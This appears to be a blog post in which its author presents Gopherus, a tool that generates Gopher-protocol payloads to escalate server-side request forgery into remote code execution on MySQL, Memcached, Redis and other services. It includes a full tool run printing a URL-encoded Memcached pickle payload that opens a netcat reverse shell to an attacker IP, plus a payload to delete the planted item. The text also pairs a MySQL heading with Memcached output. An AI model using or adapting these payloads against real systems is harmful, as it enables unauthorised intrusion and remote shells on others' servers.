Hey Everyone, I am writing this blog on my tool [Gopherus](#)

What this tool do exactly?

Generates Gopher payload for exploiting SSRF and gaining RCE, on SSRF vulnerable sites. I've written this tool for MySQL, FastCGI, Memcached, Redis, Zabbix, SMTP servers. So here we will talk about all sever with his exploitation technique in details separately.

Explanation of each attack:

MySQL

As I automated this before [here](#). Now I only need to upgrade it. So now it has additional features like, now it won't ask for MySQL packets as earlier one does, here it will directly ask Username and will create Gopher payload for doing SSRF. And I have written a blog on the same describing my python script [here](#)

```
~ » gopherus --exploit pymemcachespyd3r@bios  
  
Gopherus  
author: $_SpyD3r_$  
  
Ready to Get Reverse SHELL  
Give server IP you want to connect (default is 127.0.0.1): 192.168.0.1  
Your gopher link is ready to do SSRF :  
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%201%2060%20121%0d%0acposix%0Asystem%0A%28$%27rm%20-f%20/tmp/f%3B%20mkfifo%20/tmp/f%3Bcat%20/tmp/f%20%7C%20/bin/sh%20-i%202%3F%261%20%7C%20nc%20-l%20192.168.0.1%201234%20%3F%20/tmp/f%27%0Ap2%0AtRp3%0A.%0d%0a  
Then You can connect it with : nc 192.168.0.1 1234  
After everything done, you can delete memcached item by using this payload:  
gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a  
-----Made-by-SpyD3r-----
```
